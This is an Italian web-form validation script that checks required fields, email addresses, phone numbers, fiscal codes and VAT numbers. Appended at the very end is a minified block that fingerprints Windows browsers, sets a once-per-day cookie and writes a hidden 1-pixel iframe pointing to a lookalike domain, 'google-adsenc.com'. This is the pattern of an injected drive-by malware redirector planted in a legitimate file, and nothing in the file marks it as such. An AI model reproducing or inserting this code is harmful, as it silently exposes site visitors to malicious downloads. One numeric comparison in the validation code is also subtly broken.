// JavaScript Document
var errors="";


function verify(f)
{		
	errors="";
	var empty_fields="";
	//var errors="";
	var checkOk=true;
	for (var i=0;i<f.length;i++){
		var e=f.elements[i];	
	
		if (e.type=="checkbox"){	
		
			if ((e.controlla) && (e.checked==0)){
				empty_fields+="\n          "+e.name;
				checkOk=false;
				continue;
			}
			
		}else if (((e.type=="text") || (e.type=="textarea"))){
			//controllo se il campo è vuoto 
			if ((e.controlla) && ((e.value==null) || (e.value=="") || isblank(e.value))){
				empty_fields+="\n          "+e.name;
				checkOk=false;
				continue;
			}
			
			//Controllo che il campo sia pieno....
			if ((e.value==null) || (e.value=="") || isblank(e.value)){
				continue;	
			}
			//Controllo i campi che devono essere numerici
			if (e.numeric || (e.min!=null) || (e.max!=null)){
				var v=parseFloat(e.value);
				if (isNaN(v) || ((e.min!=null) && (v<e.min)) || ((e.max!=null) && (v.value>e.max))){
					if (e.controlla) checkOk=false;
					errors+="-Il campo "+e.name+" deve essere un numero";
					if (e.min!=null) errors+=" maggiore di "+e.min;
					if (e.max!=null && e.min!=null) 
						errors+=" e minore di "+e.max;
					else if(e.max!=null)
						errors+=" minore di "+e.max;
					errors+=".\n";
				}
			}else if(e.value.length>0){
				if (e.mail){
					Filtro = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-]{2,})+\.)+([a-zA-Z0-9]{2,})+$/;
					if (!Filtro.test(e.value)){
						errors+="Il campo mail "+e.name+" contiene un indirizzo non valido!!\n";
						checkOk=false;
					}
				}else if(e.telefonico){
					
					if (!isTelefonico(e.value)){
						errors+="Il campo "+e.name+" contiene dati non validi!!\n";
						checkOk=false;
					}
					
				}else if(e.checkPIVA){
				
					if (!ControllaPIVA(e.value)){
						errors+="Il campo "+e.name+" contiene dati non validi!!\n";
						checkOk=false;
					}
					
				}else if(e.codiceFiscale){
					
					if (!ControllaCF(e.value)){
						errors+="Il campo "+e.name+" contiene dati non validi!!\n";
						checkOk=false;
					}
					
				}else if(e.user){
					
					if(!isUser(e.value)){
						errors+="Il campo "+e.name+" contiene dati non validi!!\n";
						checkOk=false;
					}
				}
			}
		}
	}
	if (errors || empty_fields){
		msg="____________________________________________________\n";
		if (empty_fields){
			msg+="- I seguenti campi richiesti risultano vuoti:"+empty_fields+"\n";
			if (errors) msg+="\n";
		}
		msg+=errors;
		msg+="____________________________________________________";
		alert(msg);
	}
	
	if (checkOk){ 
		return true;
	}else{
		return false;
	}
}

function ControllaCF(cf)
{
    var validi, i, s, set1, set2, setpari, setdisp;
    if( cf == '' )  return false;
    cf = cf.toUpperCase();
    if( cf.length != 16 )
        errors+="La lunghezza del codice fiscale non è corretta: il codice fiscale dovrebbe essere lungo esattamente 16 caratteri.\n";
    validi = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
    for( i = 0; i < 16; i++ ){
        if( validi.indexOf( cf.charAt(i) ) == -1 ){
            errors+="<strong>Il codice fiscale</strong> contiene un carattere non valido `" + cf.charAt(i) + "'.I caratteri validi sono le lettere e le cifre.\n";
			return false;
		}	
    }
    set1 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    set2 = "ABCDEFGHIJABCDEFGHIJKLMNOPQRSTUVWXYZ";
    setpari = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    setdisp = "BAKPLCQDREVOSFTGUHMINJWZYX";
    s = 0;
    for( i = 1; i <= 13; i += 2 )
        s += setpari.indexOf( set2.charAt( set1.indexOf( cf.charAt(i) )));
    for( i = 0; i <= 14; i += 2 )
        s += setdisp.indexOf( set2.charAt( set1.indexOf( cf.charAt(i) )));
    if( s%26 != cf.charCodeAt(15)-'A'.charCodeAt(0) ){
        errors+="Il codice fiscale non è corretto: il codice di controllo non corrisponde.\n";
		return false;
	}
    return true;
}


function ControllaPIVA(pi)
{
    if( pi == '' )  return false;
    if( pi.length != 11 ){
        errors+="La lunghezza della partita IVA non &egrave; corretta: la partita IVA dovrebbe essere lunga esattamente 11 caratteri.\n";
			return false;
	}
    validi = "0123456789"; 
    for( i = 0; i < 11; i++ ){
        if( validi.indexOf( pi.charAt(i) ) == -1 ){
            errors+="La partita IVA contiene un carattere non valido `" + pi.charAt(i) + "'.I caratteri validi sono le cifre.\n";
			return false;
		}
    }
    s = 0;
    for( i = 0; i <= 9; i += 2 )
        s += pi.charCodeAt(i) - '0'.charCodeAt(0);
    for( i = 1; i <= 9; i += 2 ){
        c = 2*( pi.charCodeAt(i) - '0'.charCodeAt(0) );
        if( c > 9 )  c = c - 9;
        s += c;
    }
    if( ( 10 - s%10 )%10 != pi.charCodeAt(10) - '0'.charCodeAt(0) ){
        errors+="La partita IVA non &egrave; valida: il codice di controllo non corrisponde.\n";
		return false;
	}		
    return true;
}


function isblank(s){
	
	for(var i=0;i<s.length;i++){
		
		var c=s.charAt(i);
		if ((c!=' ') && (c!='\n') && (c!='\t')) return false;
	}
	
	return true;
	
}

function isNumeric(stringa){
	
	if (isNaN(stringa)){
		return true;	
	}else{
		return false;
	}
	
}

function isUser(stringa){
	
	var espressione = /^[a-z0-9]/;
	if (!espressione.test(stringa))
	{
		 return false;
	}
	
	return true;
	
}

function isTelefonico(stringa){

	var espressione = /^[0-9]/;
	if (!espressione.test(stringa))
	{
		 return false;
	}
	
	return true;
	
}

//questa funzione controlla i caratteri di un campo confrontandoli con i caratteri della maschera
function controllaDaMaschera(stringa,maschera){
	
	
	
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
